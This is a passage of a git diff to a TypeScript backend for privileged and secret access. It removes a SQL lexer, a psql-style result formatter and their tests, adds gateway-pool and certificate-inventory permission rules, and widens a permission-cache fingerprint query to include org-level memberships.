-    });
-
-    expect(result).toBe("");
-  });
-});
-
-describe("formatCommandResult", () => {
-  it("INSERT with row count", () => {
-    const result = formatCommandResult({
-      command: "INSERT",
-      rowCount: 3,
-      fields: [],
-      rows: []
-    });
-    expect(result).toBe("INSERT 0 3\n");
-  });
-
-  it("CREATE TABLE", () => {
-    const result = formatCommandResult({
-      command: "CREATE TABLE",
-      rowCount: null,
-      fields: [],
-      rows: []
-    });
-    expect(result).toBe("CREATE TABLE\n");
-  });
-
-  it("BEGIN", () => {
-    const result = formatCommandResult({
-      command: "BEGIN",
-      rowCount: null,
-      fields: [],
-      rows: []
-    });
-    expect(result).toBe("BEGIN\n");
-  });
-
-  it("UPDATE with row count", () => {
-    const result = formatCommandResult({
-      command: "UPDATE",
-      rowCount: 5,
-      fields: [],
-      rows: []
-    });
-    expect(result).toBe("UPDATE 5\n");
-  });
-
-  it("DELETE with zero rows", () => {
-    const result = formatCommandResult({
-      command: "DELETE",
-      rowCount: 0,
-      fields: [],
-      rows: []
-    });
-    expect(result).toBe("DELETE\n");
-  });
-});
-
-describe("formatError", () => {
-  it("formats pg error with message", () => {
-    const result = formatError({ message: 'relation "nonexistent" does not exist' });
-    expect(result).toBe('ERROR:  relation "nonexistent" does not exist\n');
-  });
-
-  it("includes DETAIL if present", () => {
-    const result = formatError({
-      message: "duplicate key violation",
-      detail: "Key (id)=(1) already exists."
-    });
-    expect(result).toContain("ERROR:  duplicate key violation\n");
-    expect(result).toContain("DETAIL:  Key (id)=(1) already exists.\n");
-  });
-
-  it("includes HINT if present", () => {
-    const result = formatError({
-      message: "column does not exist",
-      hint: 'Perhaps you meant to reference the column "user"."name".'
-    });
-    expect(result).toContain("ERROR:  column does not exist\n");
-    expect(result).toContain("HINT:");
-  });
-
-  it("handles non-pg errors", () => {
-    const result = formatError("something went wrong");
-    expect(result).toBe("ERROR:  something went wrong\n");
-  });
-
-  it("handles null/undefined", () => {
-    const result = formatError(null);
-    expect(result).toContain("ERROR:");
-  });
-});
diff --git a/backend/src/ee/services/pam-web-access/pam-web-access-sql-formatter.ts b/backend/src/ee/services/pam-web-access/pam-web-access-sql-formatter.ts
deleted file mode 100644
index f776b8b53f3..00000000000
--- a/backend/src/ee/services/pam-web-access/pam-web-access-sql-formatter.ts
+++ /dev/null
@@ -1,119 +0,0 @@
-import { builtins } from "pg-types";
-
-// PostgreSQL numeric type OIDs for right-alignment
-const NUMERIC_TYPE_IDS = new Set([
-  builtins.INT8,
-  builtins.INT2,
-  builtins.INT4,
-  builtins.OID,
-  builtins.FLOAT4,
-  builtins.FLOAT8,
-  builtins.MONEY,
-  builtins.NUMERIC
-]);
-
-type TQueryResult = {
-  command: string;
-  rowCount: number | null;
-  fields: Array<{ name: string; dataTypeID: number }>;
-  rows: Record<string, unknown>[];
-};
-
-/**
- * Formats a SELECT query result as a psql-style ASCII table.
- */
-export const formatTable = (result: TQueryResult): string => {
-  const { fields, rows } = result;
-
-  if (!fields || fields.length === 0) {
-    return "";
-  }
-
-  // Convert all values to display strings.
-  // With raw type parsers all values are already strings, but handle
-  // Date/Buffer/Array defensively in case parsed types slip through.
-  const displayRows = rows.map((row) =>
-    fields.map((field) => {
-      const val = row[field.name];
-      if (val === null || val === undefined) return "";
-      if (val instanceof Date) return val.toISOString().replace("T", " ").replace("Z", "+00");
-      if (Buffer.isBuffer(val)) return `\\x${val.toString("hex")}`;
-      if (Array.isArray(val)) return `{${val.map((v) => String(v ?? "NULL")).join(",")}}`;
-      return String(val);
-    })
-  );
-
-  // Calculate column widths: max of header length and all value lengths
-  const colWidths = fields.map((field, colIdx) => {
-    let maxLen = field.name.length;
-    for (const row of displayRows) {
-      if (row[colIdx].length > maxLen) {
-        maxLen = row[colIdx].length;
-      }
-    }
-    return maxLen;
-  });
-
-  // Determine alignment per column
-  const isNumeric = fields.map((field) => NUMERIC_TYPE_IDS.has(field.dataTypeID));
-
-  // Build header row
-  const headerCells = fields.map((field, i) => ` ${field.name.padEnd(colWidths[i])} `);
-  const headerLine = headerCells.join("|");
-
-  // Build separator row
-  const separatorCells = colWidths.map((w) => "-".repeat(w + 2));
-  const separatorLine = separatorCells.join("+");
-
-  // Build data rows
-  const dataLines = displayRows.map((row) => {
-    const cells = row.map((val, i) => {
-      const padded = isNumeric[i] ? val.padStart(colWidths[i]) : val.padEnd(colWidths[i]);
-      return ` ${padded} `;
-    });
-    return cells.join("|");
-  });
-
-  // Footer
-  const rowCount = rows.length;
-  const footer = `(${rowCount} ${rowCount === 1 ? "row" : "rows"})`;
-
-  // Assemble
-  const parts = [headerLine, separatorLine, ...dataLines, footer, ""];
-  return parts.join("\n");
-};
-
-/**
- * Formats a DML/DDL command result (e.g. "INSERT 0 3", "CREATE TABLE", "BEGIN").
- */
-export const formatCommandResult = (result: TQueryResult): string => {
-  const { command, rowCount } = result;
-  if (rowCount != null && rowCount > 0) {
-    // INSERT returns "INSERT 0 <count>" in psql
-    if (command === "INSERT") {
-      return `INSERT 0 ${rowCount}\n`;
-    }
-    // UPDATE, DELETE return "<COMMAND> <count>"
-    return `${command} ${rowCount}\n`;
-  }
-  return `${command}\n`;
-};
-
-/**
- * Formats a PostgreSQL error in psql style.
- */
-export const formatError = (err: unknown): string => {
-  if (err && typeof err === "object") {
-    const pgErr = err as { message?: string; detail?: string; hint?: string; severity?: string };
-    const parts: string[] = [];
-    parts.push(`ERROR:  ${pgErr.message ?? "Unknown error"}\n`);
-    if (pgErr.detail) {
-      parts.push(`DETAIL:  ${pgErr.detail}\n`);
-    }
-    if (pgErr.hint) {
-      parts.push(`HINT:  ${pgErr.hint}\n`);
-    }
-    return parts.join("");
-  }
-  return `ERROR:  ${String(err)}\n`;
-};
diff --git a/backend/src/ee/services/pam-web-access/pam-web-access-sql-lexer.test.ts b/backend/src/ee/services/pam-web-access/pam-web-access-sql-lexer.test.ts
deleted file mode 100644
index 95f827f02c7..00000000000
--- a/backend/src/ee/services/pam-web-access/pam-web-access-sql-lexer.test.ts
+++ /dev/null
@@ -1,138 +0,0 @@
-import { describe, expect, it } from "vitest";
-
-import { splitStatements } from "./pam-web-access-sql-lexer";
-
-describe("splitStatements", () => {
-  // Basic cases
-  it("single complete statement", () => {
-    const result = splitStatements("SELECT 1;");
-    expect(result.complete).toEqual(["SELECT 1"]);
-    expect(result.remainder).toBe("");
-  });
-
-  it("multiple statements on one line", () => {
-    const result = splitStatements("SELECT 1; SELECT 2;");
-    expect(result.complete).toEqual(["SELECT 1", " SELECT 2"]);
-    expect(result.remainder).toBe("");
-  });
-
-  it("incomplete statement (no ;)", () => {
-    const result = splitStatements("SELECT 1");
-    expect(result.complete).toEqual([]);
-    expect(result.remainder).toBe("SELECT 1");
-  });
-
-  it("mixed complete + incomplete", () => {
-    const result = splitStatements("SELECT 1; SELECT");
-    expect(result.complete).toEqual(["SELECT 1"]);
-    expect(result.remainder).toBe(" SELECT");
-  });
-
-  it("empty statements", () => {
-    const result = splitStatements(";;;");
-    expect(result.complete).toEqual(["", "", ""]);
-    expect(result.remainder).toBe("");
-  });
-
-  it("multi-line statement", () => {
-    const result = splitStatements("SELECT *\nFROM users;");
-    expect(result.complete).toEqual(["SELECT *\nFROM users"]);
-    expect(result.remainder).toBe("");
-  });
-
-  // Quoting
-  it("semicolon inside single quotes", () => {
-    const result = splitStatements("SELECT 'a;b';");
-    expect(result.complete).toEqual(["SELECT 'a;b'"]);
-    expect(result.remainder).toBe("");
-  });
-
-  it("escaped single quote", () => {
-    const result = splitStatements("SELECT 'it''s';");
-    expect(result.complete).toEqual(["SELECT 'it''s'"]);
-    expect(result.remainder).toBe("");
-  });
-
-  it("dollar-quoted string", () => {
-    const result = splitStatements("SELECT $$a;b$$;");
-    expect(result.complete).toEqual(["SELECT $$a;b$$"]);
-    expect(result.remainder).toBe("");
-  });
-
-  it("dollar-quoted with tag", () => {
-    const result = splitStatements("SELECT $fn$a;b$fn$;");
-    expect(result.complete).toEqual(["SELECT $fn$a;b$fn$"]);
-    expect(result.remainder).toBe("");
-  });
-
-  it("dollar sign not a quote (positional param)", () => {
-    const result = splitStatements("SELECT $1;");
-    expect(result.complete).toEqual(["SELECT $1"]);
-    expect(result.remainder).toBe("");
-  });
-
-  // Comments
-  it("line comment with semicolon", () => {
-    const result = splitStatements("SELECT 1; -- comment;\nSELECT 2;");
-    expect(result.complete).toHaveLength(2);
-    expect(result.complete[0]).toBe("SELECT 1");
-    expect(result.complete[1].trim()).toContain("SELECT 2");
-  });
-
-  it("block comment with semicolon", () => {
-    const result = splitStatements("SELECT /* ; */ 1;");
-    expect(result.complete).toEqual(["SELECT /* ; */ 1"]);
-    expect(result.remainder).toBe("");
-  });
-
-  it("nested block comments", () => {
-    const result = splitStatements("SELECT /* /* ; */ */ 1;");
-    expect(result.complete).toEqual(["SELECT /* /* ; */ */ 1"]);
-    expect(result.remainder).toBe("");
-  });
-
-  // Edge cases
-  it("empty input", () => {
-    const result = splitStatements("");
-    expect(result.complete).toEqual([]);
-    expect(result.remainder).toBe("");
-  });
-
-  it("only whitespace", () => {
-    const result = splitStatements("   ");
-    expect(result.complete).toEqual([]);
-    expect(result.remainder).toBe("   ");
-  });
-
-  it("only semicolons", () => {
-    const result = splitStatements(";;;");
-    expect(result.complete).toEqual(["", "", ""]);
-    expect(result.remainder).toBe("");
-  });
-
-  it("statement after line comment", () => {
-    const result = splitStatements("-- comment\nSELECT 1;");
-    expect(result.complete).toHaveLength(1);
-    expect(result.complete[0]).toContain("SELECT 1");
-  });
-
-  it("unclosed single quote keeps everything in remainder", () => {
-    const result = splitStatements("SELECT 'unclosed;");
-    expect(result.complete).toEqual([]);
-    expect(result.remainder).toBe("SELECT 'unclosed;");
-  });
-
-  it("unclosed block comment keeps everything in remainder", () => {
-    const result = splitStatements("SELECT /* unclosed ;");
-    expect(result.complete).toEqual([]);
-    expect(result.remainder).toBe("SELECT /* unclosed ;");
-  });
-
-  it("CREATE FUNCTION with dollar-quoted body", () => {
-    const sql = `CREATE FUNCTION test() RETURNS void AS $$ BEGIN PERFORM 1; END; $$ LANGUAGE plpgsql;`;
-    const result = splitStatements(sql);
-    expect(result.complete).toHaveLength(1);
-    expect(result.complete[0]).toContain("PERFORM 1;");
-    expect(result.remainder).toBe("");
-  });
-});
diff --git a/backend/src/ee/services/pam-web-access/pam-web-access-sql-lexer.ts b/backend/src/ee/services/pam-web-access/pam-web-access-sql-lexer.ts
deleted file mode 100644
index 792e2022a7f..00000000000
--- a/backend/src/ee/services/pam-web-access/pam-web-access-sql-lexer.ts
+++ /dev/null
@@ -1,169 +0,0 @@
-type TSplitResult = {
-  complete: string[];
-  remainder: string;
-};
-
-enum LexerState {
-  Normal = "normal",
-  SingleQuote = "single_quote",
-  DollarQuote = "dollar_quote",
-  LineComment = "line_comment",
-  BlockComment = "block_comment"
-}
-
-/**
- * Tries to parse a dollar-quote tag starting at position i.
- * Returns the full tag (e.g. "$$" or "$fn$") if found, null otherwise.
- */
-const tryParseDollarTag = (sql: string, i: number): string | null => {
-  // Must start with $
-  if (sql[i] !== "$") return null;
-
-  // Check for $$ (empty tag)
-  if (i + 1 < sql.length && sql[i + 1] === "$") {
-    return "$$";
-  }
-
-  // Check for $identifier$ pattern
-  // Identifier must start with [A-Za-z_\x80-\xff]
-  const startChar = i + 1 < sql.length ? sql.charCodeAt(i + 1) : 0;
-  const isValidStart =
-    (startChar >= 65 && startChar <= 90) || // A-Z
-    (startChar >= 97 && startChar <= 122) || // a-z
-    startChar === 95 || // _
-    startChar >= 128; // \x80-\xff
-
-  if (!isValidStart) return null;
-
-  // Scan for the rest of the identifier + closing $
-  let j = i + 2;
-  while (j < sql.length) {
-    const code = sql.charCodeAt(j);
-    const isValidContinue =
-      (code >= 65 && code <= 90) || // A-Z
-      (code >= 97 && code <= 122) || // a-z
-      (code >= 48 && code <= 57) || // 0-9
-      code === 95 || // _
-      code >= 128; // \x80-\xff
-
-    if (code === 36) {
-      // Found closing $
-      return sql.substring(i, j + 1);
-    }
-    if (!isValidContinue) {
-      return null;
-    }
-    j += 1;
-  }
-
-  return null;
-};
-
-/**
- * Splits a SQL string into individual statements by detecting semicolons
- * that are actual statement boundaries (not inside strings, comments, etc.).
- *
- * Returns complete statements (terminated by ;) and any remaining text.
- */
-export const splitStatements = (sql: string): TSplitResult => {
-  const complete: string[] = [];
-  let buffer = "";
-  let state = LexerState.Normal;
-  let dollarTag = "";
-  let blockDepth = 0;
-  let i = 0;
-
-  while (i < sql.length) {
-    const ch = sql[i];
-    const next = i + 1 < sql.length ? sql[i + 1] : "";
-
-    switch (state) {
-      case LexerState.Normal:
-        if (ch === ";") {
-          complete.push(buffer);
-          buffer = "";
-        } else if (ch === "'") {
-          buffer += ch;
-          state = LexerState.SingleQuote;
-        } else if (ch === "$") {
-          // Check for dollar-quote tag: $$ or $identifier$
-          const tag = tryParseDollarTag(sql, i);
-          if (tag !== null) {
-            buffer += tag;
-            dollarTag = tag;
-            state = LexerState.DollarQuote;
-            i += tag.length - 1; // -1 because the loop will i++
-          } else {
-            buffer += ch;
-          }
-        } else if (ch === "-" && next === "-") {
-          buffer += "--";
-          state = LexerState.LineComment;
-          i += 1;
-        } else if (ch === "/" && next === "*") {
-          buffer += "/*";
-          state = LexerState.BlockComment;
-          blockDepth = 1;
-          i += 1;
-        } else {
-          buffer += ch;
-        }
-        break;
-
-      case LexerState.SingleQuote:
-        if (ch === "'" && next === "'") {
-          // Escaped single quote
-          buffer += "''";
-          i += 1;
-        } else if (ch === "'") {
-          buffer += ch;
-          state = LexerState.Normal;
-        } else {
-          buffer += ch;
-        }
-        break;
-
-      case LexerState.DollarQuote:
-        // Check if we've hit the closing dollar tag
-        if (ch === "$" && sql.substring(i, i + dollarTag.length) === dollarTag) {
-          buffer += dollarTag;
-          i += dollarTag.length - 1;
-          state = LexerState.Normal;
-        } else {
-          buffer += ch;
-        }
-        break;
-
-      case LexerState.LineComment:
-        buffer += ch;
-        if (ch === "\n") {
-          state = LexerState.Normal;
-        }
-        break;
-
-      case LexerState.BlockComment:
-        if (ch === "/" && next === "*") {
-          buffer += "/*";
-          blockDepth += 1;
-          i += 1;
-        } else if (ch === "*" && next === "/") {
-          buffer += "*/";
-          blockDepth -= 1;
-          if (blockDepth === 0) {
-            state = LexerState.Normal;
-          }
-          i += 1;
-        } else {
-          buffer += ch;
-        }
-        break;
-
-      default:
-        buffer += ch;
-    }
-
-    i += 1;
-  }
-
-  return { complete, remainder: buffer };
-};
diff --git a/backend/src/ee/services/pam-web-access/pam-web-access-types.ts b/backend/src/ee/services/pam-web-access/pam-web-access-types.ts
index ee7bf4182b0..3e9f487afe7 100644
--- a/backend/src/ee/services/pam-web-access/pam-web-access-types.ts
+++ b/backend/src/ee/services/pam-web-access/pam-web-access-types.ts
@@ -43,8 +43,10 @@ export const MAX_WEB_SESSIONS_PER_USER = 5;
 // WebSocket ping interval (ms) — keeps ALB from killing idle connections (default 60s timeout)
 export const WS_PING_INTERVAL_MS = 30000;
 
-// Idle timeout (ms) — auto-close sessions with no user input/control messages
-export const WS_IDLE_TIMEOUT_MS = 5 * 60 * 1000;
+// Idle timeout (ms) — auto-close sessions with no inbound WS traffic. The FE
+// sends an `activity` heartbeat while its browser tab is visible, so this fires
+// only when the tab has been hidden/backgrounded for the full window.
+export const WS_IDLE_TIMEOUT_MS = 10 * 60 * 1000;
 
 export type TSessionContext = {
   socket: WebSocket;
@@ -70,4 +72,5 @@ export type TIssueWebSocketTicketDTO = {
   actorName: string;
   auditLogInfo: AuditLogInfo;
   mfaSessionId?: string;
+  reason?: string;
 };
diff --git a/backend/src/ee/services/permission/default-roles.ts b/backend/src/ee/services/permission/default-roles.ts
index 797c569af32..d0004d7a464 100644
--- a/backend/src/ee/services/permission/default-roles.ts
+++ b/backend/src/ee/services/permission/default-roles.ts
@@ -16,6 +16,7 @@ import {
   ProjectPermissionDynamicSecretActions,
   ProjectPermissionGroupActions,
   ProjectPermissionIdentityActions,
+  ProjectPermissionInsightsActions,
   ProjectPermissionKmipActions,
   ProjectPermissionMcpEndpointActions,
   ProjectPermissionMemberActions,
@@ -58,12 +59,14 @@ const buildAdminPermissionRules = () => {
     ProjectPermissionSub.IpAllowList,
     ProjectPermissionSub.PkiAlerts,
     ProjectPermissionSub.PkiCollections,
+    ProjectPermissionSub.CertificateInventoryViews,
     ProjectPermissionSub.SshCertificateAuthorities,
     ProjectPermissionSub.SshCertificates,
     ProjectPermissionSub.SshCertificateTemplates,
     ProjectPermissionSub.SshHostGroups,
     ProjectPermissionSub.PamFolders,
     ProjectPermissionSub.PamResources,
+    ProjectPermissionSub.PamDomains,
     ProjectPermissionSub.McpServers,
     ProjectPermissionSub.McpActivityLogs
   ].forEach((el) => {
@@ -448,6 +451,8 @@ const buildAdminPermissionRules = () => {
 
   can([ProjectPermissionSecretApprovalRequestActions.Read], ProjectPermissionSub.SecretApprovalRequest);
 
+  can([ProjectPermissionInsightsActions.Read], ProjectPermissionSub.Insights);
+
   return rules;
 };
 
@@ -610,6 +615,15 @@ const buildMemberPermissionRules = () => {
 
   can([ProjectPermissionActions.Read], ProjectPermissionSub.PkiAlerts);
   can([ProjectPermissionActions.Read], ProjectPermissionSub.PkiCollections);
+  can(
+    [
+      ProjectPermissionActions.Read,
+      ProjectPermissionActions.Create,
+      ProjectPermissionActions.Edit,
+      ProjectPermissionActions.Delete
+    ],
+    ProjectPermissionSub.CertificateInventoryViews
+  );
 
   can([ProjectPermissionActions.Read], ProjectPermissionSub.SshCertificates);
   can([ProjectPermissionActions.Create], ProjectPermissionSub.SshCertificates);
@@ -698,6 +712,8 @@ const buildMemberPermissionRules = () => {
 
   can([ProjectPermissionActions.Read], ProjectPermissionSub.PamResources);
 
+  can([ProjectPermissionActions.Read], ProjectPermissionSub.PamDomains);
+
   can(
     [ProjectPermissionPamAccountActions.Access, ProjectPermissionPamAccountActions.Read],
     ProjectPermissionSub.PamAccounts
@@ -743,6 +759,7 @@ const buildViewerPermissionRules = () => {
   can(ProjectPermissionActions.Read, ProjectPermissionSub.IpAllowList);
   can(ProjectPermissionCertificateAuthorityActions.Read, ProjectPermissionSub.CertificateAuthorities);
   can(ProjectPermissionCertificateActions.Read, ProjectPermissionSub.Certificates);
+  can([ProjectPermissionActions.Read], ProjectPermissionSub.CertificateInventoryViews);
   can(ProjectPermissionPkiTemplateActions.Read, ProjectPermissionSub.CertificateTemplates);
   can(ProjectPermissionCertificatePolicyActions.Read, ProjectPermissionSub.CertificatePolicies);
   can(ProjectPermissionCmekActions.Read, ProjectPermissionSub.Cmek);
@@ -782,6 +799,8 @@ const buildViewerPermissionRules = () => {
 
   can([ProjectPermissionActions.Read], ProjectPermissionSub.PamResources);
 
+  can([ProjectPermissionActions.Read], ProjectPermissionSub.PamDomains);
+
   can([ProjectPermissionPamAccountActions.Read], ProjectPermissionSub.PamAccounts);
 
   can([ProjectPermissionPamAccountPolicyActions.Read], ProjectPermissionSub.PamAccountPolicies);
diff --git a/backend/src/ee/services/permission/org-permission.ts b/backend/src/ee/services/permission/org-permission.ts
index ceb2e9683fa..b28bc990c79 100644
--- a/backend/src/ee/services/permission/org-permission.ts
+++ b/backend/src/ee/services/permission/org-permission.ts
@@ -74,6 +74,14 @@ export enum OrgPermissionGatewayActions {
   AttachGateways = "attach-gateways"
 }
 
+export enum OrgPermissionGatewayPoolActions {
+  CreateGatewayPools = "create-gateway-pools",
+  ListGatewayPools = "list-gateway-pools",
+  EditGatewayPools = "edit-gateway-pools",
+  DeleteGatewayPools = "delete-gateway-pools",
+  AttachGatewayPools = "attach-gateway-pools"
+}
+
 export enum OrgPermissionRelayActions {
   CreateRelays = "create-relays",
   ListRelays = "list-relays",
@@ -141,6 +149,7 @@ export enum OrgPermissionSubjects {
   AppConnections = "app-connections",
   Kmip = "kmip",
   Gateway = "gateway",
+  GatewayPool = "gateway-pool",
   Relay = "relay",
   SecretShare = "secret-share",
   SubOrganization = "sub-organization",
@@ -172,6 +181,7 @@ export type OrgPermissionSet =
   | [OrgPermissionAuditLogsActions, OrgPermissionSubjects.AuditLogs]
   | [OrgPermissionActions, OrgPermissionSubjects.ProjectTemplates]
   | [OrgPermissionGatewayActions, OrgPermissionSubjects.Gateway]
+  | [OrgPermissionGatewayPoolActions, OrgPermissionSubjects.GatewayPool]
   | [OrgPermissionRelayActions, OrgPermissionSubjects.Relay]
   | [
       OrgPermissionAppConnectionActions,
@@ -330,6 +340,12 @@ export const OrgPermissionSchema = z.discriminatedUnion("subject", [
       "Describe what action an entity can take."
     )
   }),
+  z.object({
+    subject: z.literal(OrgPermissionSubjects.GatewayPool).describe("The entity this permission pertains to."),
+    action: CASL_ACTION_SCHEMA_NATIVE_ENUM(OrgPermissionGatewayPoolActions).describe(
+      "Describe what action an entity can take."
+    )
+  }),
   z.object({
     subject: z.literal(OrgPermissionSubjects.Relay).describe("The entity this permission pertains to."),
     action: CASL_ACTION_SCHEMA_NATIVE_ENUM(OrgPermissionRelayActions).describe(
@@ -456,6 +472,12 @@ const buildAdminPermission = () => {
   can(OrgPermissionGatewayActions.DeleteGateways, OrgPermissionSubjects.Gateway);
   can(OrgPermissionGatewayActions.AttachGateways, OrgPermissionSubjects.Gateway);
 
+  can(OrgPermissionGatewayPoolActions.ListGatewayPools, OrgPermissionSubjects.GatewayPool);
+  can(OrgPermissionGatewayPoolActions.CreateGatewayPools, OrgPermissionSubjects.GatewayPool);
+  can(OrgPermissionGatewayPoolActions.EditGatewayPools, OrgPermissionSubjects.GatewayPool);
+  can(OrgPermissionGatewayPoolActions.DeleteGatewayPools, OrgPermissionSubjects.GatewayPool);
+  can(OrgPermissionGatewayPoolActions.AttachGatewayPools, OrgPermissionSubjects.GatewayPool);
+
   can(OrgPermissionRelayActions.ListRelays, OrgPermissionSubjects.Relay);
   can(OrgPermissionRelayActions.CreateRelays, OrgPermissionSubjects.Relay);
   can(OrgPermissionRelayActions.EditRelays, OrgPermissionSubjects.Relay);
@@ -526,6 +548,10 @@ const buildMemberPermission = () => {
   can(OrgPermissionGatewayActions.CreateGateways, OrgPermissionSubjects.Gateway);
   can(OrgPermissionGatewayActions.AttachGateways, OrgPermissionSubjects.Gateway);
 
+  can(OrgPermissionGatewayPoolActions.ListGatewayPools, OrgPermissionSubjects.GatewayPool);
+  can(OrgPermissionGatewayPoolActions.CreateGatewayPools, OrgPermissionSubjects.GatewayPool);
+  can(OrgPermissionGatewayPoolActions.AttachGatewayPools, OrgPermissionSubjects.GatewayPool);
+
   can(OrgPermissionRelayActions.ListRelays, OrgPermissionSubjects.Relay);
   can(OrgPermissionRelayActions.CreateRelays, OrgPermissionSubjects.Relay);
   can(OrgPermissionRelayActions.EditRelays, OrgPermissionSubjects.Relay);
diff --git a/backend/src/ee/services/permission/permission-dal.ts b/backend/src/ee/services/permission/permission-dal.ts
index a2994711880..09b0b71e36b 100644
--- a/backend/src/ee/services/permission/permission-dal.ts
+++ b/backend/src/ee/services/permission/permission-dal.ts
@@ -811,6 +811,8 @@ export const permissionDALFactory = (db: TDbClient): TPermissionDALFactory => {
   // Lightweight permission fingerprint for ETag validation.
   // Same tables/joins/WHERE as getPermission but selects only IDs + timestamps,
   // then hashes in JS. The CASE expressions make the hash flip at temporary access expiry.
+  // Includes both project-scoped AND org-scoped memberships so that org-level
+  // permission changes (e.g. SSO bypass grant/revoke) also invalidate the cache.
   const getPermissionFingerprint: TPermissionDALFactory["getPermissionFingerprint"] = async ({
     projectId,
     orgId,
@@ -846,9 +848,25 @@ export const permissionDALFactory = (db: TDbClient): TPermissionDALFactory => {
             `${TableName.AdditionalPrivilege}.projectId`
           );
         })
+        .leftJoin(TableName.IdentityMetadata, (qb) => {
+          if (actorType === ActorType.IDENTITY) {
+            qb.on(`${TableName.IdentityMetadata}.identityId`, `${TableName.Membership}.actorIdentityId`);
+          } else {
+            void qb
+              .on(`${TableName.IdentityMetadata}.userId`, db.raw("?", [actorId]))
+              .andOn(`${TableName.Membership}.scopeOrgId`, `${TableName.IdentityMetadata}.orgId`);
+          }
+        })
         .where(`${TableName.Membership}.scopeOrgId`, orgId)
-        .where(`${TableName.Membership}.scope`, AccessScope.Project)
-        .where(`${TableName.Membership}.scopeProjectId`, projectId)
+        .where((scopeQb) => {
+          void scopeQb
+            .where((inner) => {
+              void inner
+                .where(`${TableName.Membership}.scope`, AccessScope.Project)
+                .where(`${TableName.Membership}.scopeProjectId`, projectId);
+            })
+            .orWhere(`${TableName.Membership}.scope`, AccessScope.Organization);
+        })
         .where((qb) => {
           const directCol =
             actorType === ActorType.USER
@@ -864,6 +882,8 @@ export const permissionDALFactory = (db: TDbClient): TPermissionDALFactory => {
           db.ref("updatedAt").withSchema(TableName.Role).as("crUp"),
           db.ref("id").withSchema(TableName.AdditionalPrivilege).as("pId"),
           db.ref("updatedAt").withSchema(TableName.AdditionalPrivilege).as("pUp"),
+          db.ref("id").withSchema(TableName.IdentityMetadata).as("imId"),
+          db.ref("updatedAt").withSchema(TableName.IdentityMetadata).as("imUp"),
           db.raw(
             `CASE WHEN "${TableName.MembershipRole}"."isTemporary" AND NOW() >= "${TableName.MembershipRole}"."temporaryAccessEndTime" THEN true ELSE false END AS "rExp"`
           ),
diff --git a/backend/src/ee/services/permission/permission-service-types.ts b/backend/src/ee/services/permission/permission-service-types.ts
index a74ad2626bf..00f11187292 100644
--- a/backend/src/ee/services/permission/permission-service-types.ts
+++ b/backend/src/ee/services/permission/permission-service-types.ts
@@ -1,6 +1,5 @@
 import { MongoAbility } from "@casl/ability";
 import { MongoQuery } from "@ucast/mongo2js";
-import { Knex } from "knex";
 
 import { ActionProjectType, OrganizationActionScope, TMemberships } from "@app/db/schemas";
 import { ActorAuthMethod, ActorType } from "@app/services/auth/auth-type";
@@ -126,5 +125,4 @@ export type TPermissionServiceFactory = {
     projectId: string;
     checkPermissions: ProjectPermissionSet;
   }) => Promise<boolean>;
-  invalidateProjectPermissionCache: (projectId: string, tx?: Knex) => Promise<void>;
 };
diff --git a/backend/src/ee/services/permission/permission-service.ts b/backend/src/ee/services/permission/permission-service.ts
index 8c3e849267c..7f8fe8789f7 100644
--- a/backend/src/ee/services/permission/permission-service.ts
+++ b/backend/src/ee/services/permission/permission-service.ts
@@ -2,7 +2,6 @@ import { createMongoAbility, MongoAbility, RawRuleOf } from "@casl/ability";
 import { PackRule, unpackRules } from "@casl/ability/extra";
 import { requestContext } from "@fastify/request-context";
 import handlebars from "handlebars";
-import { Knex } from "knex";
 
 import {
   AccessScope,
@@ -22,6 +21,7 @@ import {
   sshHostBootstrapPermissions
 } from "@app/ee/services/permission/default-roles";
 import { KeyStorePrefixes, KeyStoreTtls, TKeyStoreFactory } from "@app/keystore/keystore";
+import { withCacheFingerprint } from "@app/lib/cache/with-cache";
 import { conditionsMatcher } from "@app/lib/casl";
 import { BadRequestError, ForbiddenRequestError, NotFoundError } from "@app/lib/errors";
 import { objectify } from "@app/lib/fn";
@@ -167,69 +167,6 @@ export const permissionServiceFactory = ({
   keyStore,
   roleDAL
 }: TPermissionServiceFactoryDep): TPermissionServiceFactory => {
-  const invalidateProjectPermissionCache = async (projectId: string, tx?: Knex) => {
-    const projectPermissionDalVersionKey = KeyStorePrefixes.ProjectPermissionDalVersion(projectId);
-    await keyStore.pgIncrementBy(projectPermissionDalVersionKey, {
-      incr: 1,
-      tx,
-      expiry: KeyStoreTtls.ProjectPermissionDalVersionTtl
-    });
-  };
-
-  // akhilmdhh: will bring this up later
-  // const calculateProjectPermissionTtl = (membership: unknown): number => {
-  //   const now = new Date();
-  //   let minTtl = KeyStoreTtls.ProjectPermissionCacheInSeconds;
-  //
-  //   const getMinEndTime = (items: Array<{ temporaryAccessEndTime?: Date | null; isTemporary?: boolean }>) => {
-  //     return items
-  //       .filter((item) => item.isTemporary && item.temporaryAccessEndTime)
-  //       .map((item) => item.temporaryAccessEndTime!)
-  //       .filter((endTime) => endTime > now)
-  //       .reduce((min, endTime) => (!min || endTime < min ? endTime : min), null as Date | null);
-  //   };
-  //
-  //   const roleTimes: Date[] = [];
-  //   const additionalPrivilegeTimes: Date[] = [];
-  //
-  //   if (
-  //     membership &&
-  //     typeof membership === "object" &&
-  //     "roles" in membership &&
-  //     Array.isArray((membership as Record<string, unknown>).roles)
-  //   ) {
-  //     const roles = (membership as Record<string, unknown>).roles as Array<{
-  //       temporaryAccessEndTime?: Date | null;
-  //       isTemporary?: boolean;
-  //     }>;
-  //     const minRoleEndTime = getMinEndTime(roles);
-  //     if (minRoleEndTime) roleTimes.push(minRoleEndTime);
-  //   }
-  //
-  //   if (
-  //     membership &&
-  //     typeof membership === "object" &&
-  //     "additionalPrivileges" in membership &&
-  //     Array.isArray((membership as Record<string, unknown>).additionalPrivileges)
-  //   ) {
-  //     const additionalPrivileges = (membership as Record<string, unknown>).additionalPrivileges as Array<{
-  //       temporaryAccessEndTime?: Date | null;
-  //       isTemporary?: boolean;
-  //     }>;
-  //     const minAdditionalEndTime = getMinEndTime(additionalPrivileges);
-  //     if (minAdditionalEndTime) additionalPrivilegeTimes.push(minAdditionalEndTime);
-  //   }
-  //
-  //   const allEndTimes = [...roleTimes, ...additionalPrivilegeTimes];
-  //   if (allEndTimes.length > 0) {
-  //     const nearestEndTime = allEndTimes.reduce((min, endTime) => (!min || endTime < min ? endTime : min));
-  //     const timeUntilExpiry = Math.floor((nearestEndTime.getTime() - now.getTime()) / 1000);
-  //     minTtl = Math.min(minTtl, Math.max(1, timeUntilExpiry));
-  //   }
-  //
-  //   return minTtl;
-  // };
-
   const getOrgPermission: TPermissionServiceFactory["getOrgPermission"] = async ({
     actor,
     actorId,
@@ -329,7 +266,9 @@ export const permissionServiceFactory = ({
